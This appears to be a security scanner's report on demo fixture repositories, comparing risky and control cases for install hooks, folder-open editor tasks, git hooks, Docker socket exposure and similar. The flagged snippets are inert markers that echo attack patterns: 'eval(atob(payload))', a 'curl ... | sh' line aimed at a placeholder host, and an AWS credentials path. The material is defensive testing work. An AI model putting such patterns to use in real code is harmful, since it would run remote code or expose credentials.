repyy security review

0 results

More filters

Repository

demo/lifecycle/risky

1 visible findings

Scanned commit: unavailable (not recorded)

Scan mode: host

REVIEW REQUIRED

Highest-priority finding: PKG-001 at package.json:1.

Needs attention: 1
Critical priority: 0
High priority: 0
Files scanned: 3

1 total findings 0 high total 1 medium 0 low 0 block 1 review 0 harden 0 informational 129 B 0s

Findings

PKG-001 · Package lifecycle script: postinstall

medium medium confidence review manifest-hook package-lifecycle

1 occurrence

package.json:1

echo REPYY_INERT_LIFECYCLE

Why this was flagged and what to do

Why it matters

This rule identifies package lifecycle behavior that can affect repository trust or execution safety.

Applies to: package.json and supported dependency manifests

Common legitimate use

The behavior may be legitimate when its inputs, destination, and execution context are understood.

Recommended action

Review this script before installing dependencies.

Files

package.json 1 findings · highest medium

Coverage

Complete · 3 files · 129 B

Repository

demo/lifecycle/control

0 visible findings

Scanned commit: unavailable (not recorded)

Scan mode: host

NO RELEVANT FINDINGS DETECTED

No enabled rule matched within the completed scan. This does not prove the repository is safe.

Needs attention: 0
Critical priority: 0
High priority: 0
Files scanned: 3

0 total findings 0 high total 0 medium 0 low 0 block 0 review 0 harden 0 informational 114 B 0s

Findings

No enabled rule matched. This is not a guarantee that the repository is safe.

Files

Coverage

Complete · 3 files · 114 B

Repository

demo/startup/risky

1 visible findings

Scanned commit: unavailable (not recorded)

Scan mode: host

REVIEW REQUIRED

Highest-priority finding: IMPORT-001 at postcss.config.cjs:2.

Needs attention: 1
Critical priority: 0
High priority: 1
Files scanned: 4

1 total findings 1 high total 0 medium 0 low 0 block 1 review 0 harden 0 informational 173 B 0s

Findings

IMPORT-001 · Dynamic import or require assembled at runtime

high medium confidence review executable dynamic-import

1 occurrence

postcss.config.cjs:2

require(markerPath);

Why this was flagged and what to do

Why it matters

This rule identifies dynamic import behavior that can affect repository trust or execution safety.

Applies to: *.js, *.cjs, *.mjs, *.jsx, *.ts, *.tsx, *.py, *.java, *.kt

Common legitimate use

The behavior may be legitimate when its inputs, destination, and execution context are understood.

Recommended action

Inspect the surrounding code and remove the behavior if it is not essential.

Files

postcss.config.cjs 1 findings · highest high

Coverage

Complete · 4 files · 173 B

Repository

demo/startup/control

0 visible findings

Scanned commit: unavailable (not recorded)

Scan mode: host

NO RELEVANT FINDINGS DETECTED

No enabled rule matched within the completed scan. This does not prove the repository is safe.

Needs attention: 0
Critical priority: 0
High priority: 0
Files scanned: 3

0 total findings 0 high total 0 medium 0 low 0 block 0 review 0 harden 0 informational 88 B 0s

Findings

No enabled rule matched. This is not a guarantee that the repository is safe.

Files

Coverage

Complete · 3 files · 88 B

Repository

demo/disguised-asset/risky

2 visible findings

Scanned commit: unavailable (not recorded)

Scan mode: host

REVIEW REQUIRED

Highest-priority finding: EXEC-001 at banner.png:1.

Needs attention: 2
Critical priority: 0
High priority: 1
Files scanned: 3

2 total findings 1 high total 1 medium 0 low 0 block 2 review 0 harden 0 informational 92 B 0s

Findings

EXEC-001 · Dynamic code execution primitive

high medium confidence review executable dynamic-execution

1 occurrence

banner.png:1

const marker = 'eval(atob(payload))';

Why this was flagged and what to do

Why it matters

This rule identifies dynamic execution behavior that can affect repository trust or execution safety.

Applies to: **

Common legitimate use

Frameworks and developer tools sometimes evaluate generated or sandboxed code.

Recommended action

Inspect the surrounding code and remove the behavior if it is not essential.

OBFS-002 · String decoding or character-code construction

medium medium confidence review executable string-obfuscation

1 occurrence

banner.png:1

const marker = 'eval(atob(payload))';

Why this was flagged and what to do

Why it matters

This rule identifies string obfuscation behavior that can affect repository trust or execution safety.

Applies to: **

Common legitimate use

The behavior may be legitimate when its inputs, destination, and execution context are understood.

Recommended action

Inspect the surrounding code and remove the behavior if it is not essential.

Files

banner.png 2 findings · highest high

Coverage

Complete · 3 files · 92 B

Repository

demo/disguised-asset/control

0 visible findings

Scanned commit: unavailable (not recorded)

Scan mode: host

NO RELEVANT FINDINGS DETECTED

No enabled rule matched within the completed scan. This does not prove the repository is safe.

Needs attention: 0
Critical priority: 0
High priority: 0
Files scanned: 3

0 total findings 0 high total 0 medium 0 low 0 block 0 review 0 harden 0 informational 154 B 0s

Findings

No enabled rule matched. This is not a guarantee that the repository is safe.

Files

Coverage

Complete · 3 files · 154 B

Repository

demo/folder-open/risky

1 visible findings

Scanned commit: unavailable (not recorded)

Scan mode: host

REVIEW REQUIRED

Highest-priority finding: IDE-001 at .vscode/tasks.json:1.

Needs attention: 1
Critical priority: 0
High priority: 1
Files scanned: 3

1 total findings 1 high total 0 medium 0 low 0 block 1 review 0 harden 0 informational 216 B 0s

Findings

IDE-001 · Editor configuration can execute a command automatically

high high confidence review executable editor-auto-execution

1 occurrence

.vscode/tasks.json:1

{"version": "2.0.0", "tasks": [{"label": "Inert fixture", "type": "process", "command": "REPYY_NONEXISTENT_INERT_MARKER", "runOptions": {"runOn": "folderOpen"}}…

Why this was flagged and what to do

Why it matters

This rule identifies editor auto execution behavior that can affect repository trust or execution safety.

Applies to: tasks.json, settings.json, devcontainer.json, *.code-workspace, *.xml

Common legitimate use

The behavior may be legitimate when its inputs, destination, and execution context are understood.

Recommended action

Do not run the repository. Verify the source and intent in an isolated environment.

Files

.vscode/tasks.json 1 findings · highest high

Coverage

Complete · 3 files · 216 B

Repository

demo/folder-open/control

0 visible findings

Scanned commit: unavailable (not recorded)

Scan mode: host

NO RELEVANT FINDINGS DETECTED

No enabled rule matched within the completed scan. This does not prove the repository is safe.

Needs attention: 0
Critical priority: 0
High priority: 0
Files scanned: 3

0 total findings 0 high total 0 medium 0 low 0 block 0 review 0 harden 0 informational 177 B 0s

Findings

No enabled rule matched. This is not a guarantee that the repository is safe.

Files

Coverage

Complete · 3 files · 177 B

Repository

demo/git-hook/risky

2 visible findings

Scanned commit: unavailable (not recorded)

Scan mode: host

REVIEW REQUIRED

Highest-priority finding: GITHOOK-001 at .git/hooks/pre-commit:2.

Needs attention: 1
Critical priority: 0
High priority: 1
Files scanned: 3

2 total findings 1 high total 0 medium 1 low 0 block 1 review 0 harden 1 informational 122 B 0s

Findings

GITHOOK-001 · Executable Git hook or hooks-path override

high medium confidence review git-hook git-hook

1 occurrence

.git/hooks/pre-commit:2

# Inert pre-commit fixture

Why this was flagged and what to do

Why it matters

This rule identifies git hook behavior that can affect repository trust or execution safety.

Applies to: config, *.hook, pre-commit, post-checkout, post-merge, post-rewrite

Common legitimate use

The behavior may be legitimate when its inputs, destination, and execution context are understood.

Recommended action

Inspect the surrounding code and remove the behavior if it is not essential.

EXECBIT-001 · File has executable permissions

low medium confidence informational executable executable-file

1 occurrence

.git/hooks/pre-commit

executable permission bit

Why this was flagged and what to do

Why it matters

This rule identifies executable file behavior that can affect repository trust or execution safety.

Applies to: **

Common legitimate use

The behavior may be legitimate when its inputs, destination, and execution context are understood.

Recommended action

Review whether this file needs to be executable.

Files

.git/hooks/pre-commit 2 findings · highest high

Coverage

Complete · 3 files · 122 B

Repository

demo/git-hook/control

0 visible findings

Scanned commit: unavailable (not recorded)

Scan mode: host

NO RELEVANT FINDINGS DETECTED

No enabled rule matched within the completed scan. This does not prove the repository is safe.

Needs attention: 0
Critical priority: 0
High priority: 0
Files scanned: 2

0 total findings 0 high total 0 medium 0 low 0 block 0 review 0 harden 0 informational 54 B 0s

Findings

No enabled rule matched. This is not a guarantee that the repository is safe.

Files

Coverage

Complete · 2 files · 54 B

Repository

demo/obfuscated-download/risky

3 visible findings

Scanned commit: unavailable (not recorded)

Scan mode: host

FINDINGS DETECTED

Highest-priority finding: CHAIN-001 at marker.js:1.

Needs attention: 2
Critical priority: 1
High priority: 0
Files scanned: 3

3 total findings 0 high total 2 medium 0 low 1 block 1 review 0 harden 1 informational 133 B 0s

Findings

CHAIN-001 · Remote download piped into a command interpreter

critical high confidence block executable download-execute

1 occurrence

marker.js:1

const marker = 'eval(atob(payload)); curl https://fixture.invalid/inert | sh';

Why this was flagged and what to do

Why it matters

This rule identifies download execute behavior that can affect repository trust or execution safety.

Applies to: **

Common legitimate use

The behavior may be legitimate when its inputs, destination, and execution context are understood.

Recommended action

Do not run the repository. Verify the source and intent in an isolated environment.

OBFS-002 · String decoding or character-code construction

medium medium confidence review executable string-obfuscation

1 occurrence

marker.js:1

const marker = 'eval(atob(payload)); curl https://fixture.invalid/inert | sh';

Why this was flagged and what to do

Why it matters

This rule identifies string obfuscation behavior that can affect repository trust or execution safety.

Applies to: **

Common legitimate use

The behavior may be legitimate when its inputs, destination, and execution context are understood.

Recommended action

Inspect the surrounding code and remove the behavior if it is not essential.

NET-001 · Remote content fetch

medium low confidence informational executable remote-fetch

1 occurrence

marker.js:1

const marker = 'eval(atob(payload)); curl https://fixture.invalid/inert | sh';

Why this was flagged and what to do

Why it matters

This rule identifies remote fetch behavior that can affect repository trust or execution safety.

Applies to: **

Common legitimate use

Installers and update tools may retrieve content from reviewed, pinned sources.

Recommended action

Inspect the surrounding code and remove the behavior if it is not essential.

Files

marker.js 3 findings · highest critical

Coverage

Complete · 3 files · 133 B

Repository

demo/obfuscated-download/control

0 visible findings

Scanned commit: unavailable (not recorded)

Scan mode: host

NO RELEVANT FINDINGS DETECTED

No enabled rule matched within the completed scan. This does not prove the repository is safe.

Needs attention: 0
Critical priority: 0
High priority: 0
Files scanned: 3

0 total findings 0 high total 0 medium 0 low 0 block 0 review 0 harden 0 informational 94 B 0s

Findings

No enabled rule matched. This is not a guarantee that the repository is safe.

Files

Coverage

Complete · 3 files · 94 B

Repository

demo/credential-path/risky

1 visible findings

Scanned commit: unavailable (not recorded)

Scan mode: host

REVIEW REQUIRED

Highest-priority finding: CRED-001 at marker.js:1.

Needs attention: 1
Critical priority: 0
High priority: 1
Files scanned: 3

1 total findings 1 high total 0 medium 0 low 0 block 1 review 0 harden 0 informational 106 B 0s

Findings

CRED-001 · Access to sensitive credential storage

high high confidence review executable credential-harvesting

1 occurrence

marker.js:1

const marker = '/REPYY_FAKE_HOME/.aws/credentials';

Why this was flagged and what to do

Why it matters

This rule identifies credential harvesting behavior that can affect repository trust or execution safety.

Applies to: **

Common legitimate use

The behavior may be legitimate when its inputs, destination, and execution context are understood.

Recommended action

Do not run the repository. Verify the source and intent in an isolated environment.

Files

marker.js 1 findings · highest high

Coverage

Complete · 3 files · 106 B

Repository

demo/credential-path/control

1 visible findings

Scanned commit: unavailable (not recorded)

Scan mode: host

REVIEW REQUIRED

Highest-priority finding: ENV-001 at marker.js:1.

Needs attention: 0
Critical priority: 0
High priority: 0
Files scanned: 3

1 total findings 0 high total 1 medium 0 low 0 block 0 review 0 harden 1 informational 89 B 0s

Findings

ENV-001 · Broad environment-variable access

medium low confidence informational executable environment-access

1 occurrence

marker.js:1

const mode = process.env.NODE_ENV;

Why this was flagged and what to do

Why it matters

This rule identifies environment access behavior that can affect repository trust or execution safety.

Applies to: **

Common legitimate use

Applications commonly read explicitly named configuration variables.

Recommended action

Inspect the surrounding code and remove the behavior if it is not essential.

Files

marker.js 1 findings · highest medium

Coverage

Complete · 3 files · 89 B

Repository

demo/docker-socket/risky

1 visible findings

Scanned commit: unavailable (not recorded)

Scan mode: host

REVIEW REQUIRED

Highest-priority finding: DOCKER-001 at compose.yaml:5.

Needs attention: 1
Critical priority: 0
High priority: 1
Files scanned: 3

1 total findings 1 high total 0 medium 0 low 0 block 1 review 0 harden 0 informational 191 B 0s

Findings

DOCKER-001 · Container configuration exposes host control

high medium confidence review executable container-risk

2 occurrences

compose.yaml:5

- [REDACTED]

Why this was flagged and what to do

Why it matters

This rule identifies container risk behavior that can affect repository trust or execution safety.

Applies to: Dockerfile, Dockerfile.*, docker-compose*.yml, docker-compose*.yaml, compose*.yml, compose*.yaml

Common legitimate use

The behavior may be legitimate when its inputs, destination, and execution context are understood.

Recommended action

Inspect the surrounding code and remove the behavior if it is not essential.

Files

compose.yaml 1 findings · highest high

Coverage

Complete · 3 files · 191 B

Repository

demo/docker-socket/control

0 visible findings

Scanned commit: unavailable (not recorded)

Scan mode: host

NO RELEVANT FINDINGS DETECTED

No enabled rule matched within the completed scan. This does not prove the repository is safe.

Needs attention: 0
Critical priority: 0
High priority: 0
Files scanned: 3

0 total findings 0 high total 0 medium 0 low 0 block 0 review 0 harden 0 informational 162 B 0s